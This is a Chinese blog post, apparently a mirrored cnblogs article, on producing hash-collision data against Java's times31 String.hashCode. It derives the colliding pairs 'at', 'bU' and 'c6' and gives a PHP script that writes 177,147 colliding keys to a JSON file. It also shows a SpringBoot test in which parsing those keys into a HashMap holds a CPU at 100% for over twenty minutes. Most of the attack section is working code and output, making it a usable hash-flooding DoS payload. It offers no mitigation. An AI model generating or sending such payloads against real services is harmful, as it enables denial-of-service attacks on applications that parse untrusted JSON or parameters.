zoukankan      html  css  js  c++  java
  • Java Hash Collision之数据生产

    上一篇文章一种高级的DoS攻击-Hash碰撞攻击我通过伪造Hash Collision数据实现了对Java的DoS攻击,下面说说如何生产大量的攻击数据。

    HashTable是一种非常常用的数据结构。它存取速度快,结构简单,深得程序员喜爱。HashTable大致数据结构如下图:

    Hash Collition

    Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA*。不过HashTable中基本不会用MD5,SHA*算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

    如果正常的使用HashTable,HashTable会是一种完美的数据结构。不过总有一些时候HashTable会被不正常使用,例如被攻击。假设”layne”,”abbc”这两个key通过散列算法得到的内存地址一样,我们的程序就不知道到底要获取哪一个key的参数。针对这种情况我们引入了Bucket(一个链表结构)的概念,当遇到这种情况时,程序会将同一个内存地址对应的多个数据存入同一个Bucket链表,这样能解决数据获取不到的问题,但是会带来额外的运算。当数十万甚至百万的数据都打到同一个Bucket,对HashTable的影响是致命的,运算量将急剧增加,分分钟将CPU耗尽。

    通过研究各种语言底层的HashTable散列算法就能生产对应的攻击数据,这种攻击很难防御。不过在我们知道攻击原理之后,还是能很好应对。

    一. Java HashCode函数实现

    通过Google,我们很轻松的就搜索到了Java HashTable实现的散列算法,在Java中有个叫HashCode()的方法,我们可以这样使用。

    System.out.println(“it2048.cn”.hashCode());

    HashCode()函数底层就是使用times31算法,至于为什么选择times31,官方说法是 『 31 * i == (i << 5) - i 』,运算起来更快。源代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    /**
    * Returns a hash code for this string. The hash code for a
    * <code>String</code> object is computed as
    * <blockquote><pre>
    * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
    * </pre></blockquote>
    * using <code>int</code> arithmetic, where <code>s[i]</code> is the
    * <i>i</i>th character of the string, <code>n</code> is the length of
    * the string, and <code>^</code> indicates exponentiation.
    * (The hash value of the empty string is zero.)
    *
    * @return a hash code value for this object.
    */
    public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
    char val[] = value;

    for (int i = 0; i < value.length; i++) {
    h = 31 * h + val[i];
    }
    hash = h;
    }
    return h;
    }

    核心的计算的公式如下:

    s[0]*31^(n-1) + s[1]*31^(n-2) + … + s[n-1]

    通过推导计算,得到的计算公式如下:

    F(n) = 31*F(n-1) + str[i]

    使用PHP实现如下(这里只为加强说明哈希散列算法底层都是很简单的公式):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function hashCode($str) {  
    $h = 0;
    $len = strlen($str);
    $t = 2147483648; //java int的最大值
    for ($i = 0; $i < $len; $i++) {
    $h = (($h << 5) - $h) + ord($str[$i]);
    if($h > $t) $h %= $t; //溢出取模
    }
    return $h;
    }

    二. 通过Java HashCode函数实现逆推

    通过如下公式

    F(n) = 31*F(n-1) + str[i]

    我们可以进一步推导出如下方程式:

    31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62

    我们很容易找到满足条件的3组ASCII字符,分别是:

    at = 97*31 + 116 = 3123

    bU = 98*31 + 85 = 3123

    c6 = 99*31 + 54 = 3123

    通过如上数据,理论上我们可以构造任何偶数位的字符串,比如:

    1. atatatatatatatat (16位)
    2. c6atatatatatatbU (16位)
    3. atatatatatatbUat (16位)
    4. c6c6c6c6c6c6bUat (16位)

    如上16位字符串得到的hashCode都是一样,理论上我们可以得到 pow(3,16/2) = 6561 个字符串;22位长度的字符串可以得到pow(3,22/2) = 177147 个字符串,用来发起简单的攻击完全足够。接下来我们封装一个简单的函数来生成 177147 个攻击字符串;

    三. 通过脚本批量产出碰撞数据

    如上我们已经推算出碰撞数据的实现方程式,接下来我通过PHP快速的生成碰撞数据。这里最好不要使用Java来生成碰撞数据,因为操作不当就会变成攻击自己的脚本。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    $arr_src = ['at','bU','c6']; 
    $str_tmp = ''; //存储临时字符串
    $arr_rtn = [];
    $t = combs(11,$arr_src,$str_tmp,$arr_rtn);
    /**
    * 组合算法
    **/
    function combs($n,$arr,$str,&$arr_rtn) {
    if($n==1){
    for($j=0;$j<3;$j++){
    $arr_rtn[$str.$arr[$j]] = 0;
    }
    }else
    {
    for($j=0;$j<3;$j++){
    combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
    }
    }
    }
    $json = json_encode($arr_rtn);
    file_put_contents('log/times31.txt',$json);

    最后我们生成了如下数据(截取了前面几条):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    {
    "atatatatatatatatatatat":0,
    "atatatatatatatatatatbU":0,
    "atatatatatatatatatatc6":0,
    "atatatatatatatatatbUat":0,
    "atatatatatatatatatbUbU":0,
    "atatatatatatatatatbUc6":0,
    "atatatatatatatatatc6at":0,
    "atatatatatatatatatc6bU":0,
    "atatatatatatatatatc6c6":0,
    "atatatatatatatatbUatat":0,
    "atatatatatatatatbUatbU":0,
    "atatatatatatatatbUatc6":0,
    "atatatatatatatatbUbUat":0,
    "atatatatatatatatbUbUbU":0,
    "atatatatatatatatbUbUc6":0,
    "atatatatatatatatbUc6at":0
    }

    四. 在Java中测试碰撞数据

    通过程序我们生成了177147条碰撞数据,然后在SpringBoot中做个简单的测试,测试代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    public class IndexController {

    @RequestMapping(value="/",method = RequestMethod.GET)
    public String index(){

    String jsonStr = "";
    try
    {
    FileReader fr = new FileReader("times31.txt");//需要读取的文件路径
    BufferedReader br = new BufferedReader(fr);
    jsonStr = br.readLine();
    br.close();//关闭BufferReader流
    fr.close(); //关闭文件流
    }catch(IOException e)//捕捉异常
    {
    System.out.println("指定文件不存在");//处理异常
    }

    Map<String, Object> map = new HashMap<String, Object>();

    map = JSONObject.fromObject(jsonStr);


    return "Hash Collision ~";
    }
    }

    测试结果,一个CPU被打到100%,持续了20多分钟。Mac Pro马上发烫,风扇开启。结束该java进程后电脑恢复。

  • 相关阅读:
    ubuntu下安装maven
    159.Longest Substring with At Most Two Distinct Characters
    156.Binary Tree Upside Down
    155.Min Stack
    154.Find Minimum in Rotated Sorted Array II
    153.Find Minimum in Rotated Sorted Array
    152.Maximum Product Subarray
    151.Reverse Words in a String
    150.Evaluate Reverse Polish Notation
    149.Max Points on a Line
  • 原文地址:https://www.cnblogs.com/goodbye-lazy/p/10494541.html
Copyright © 2011-2022 走看看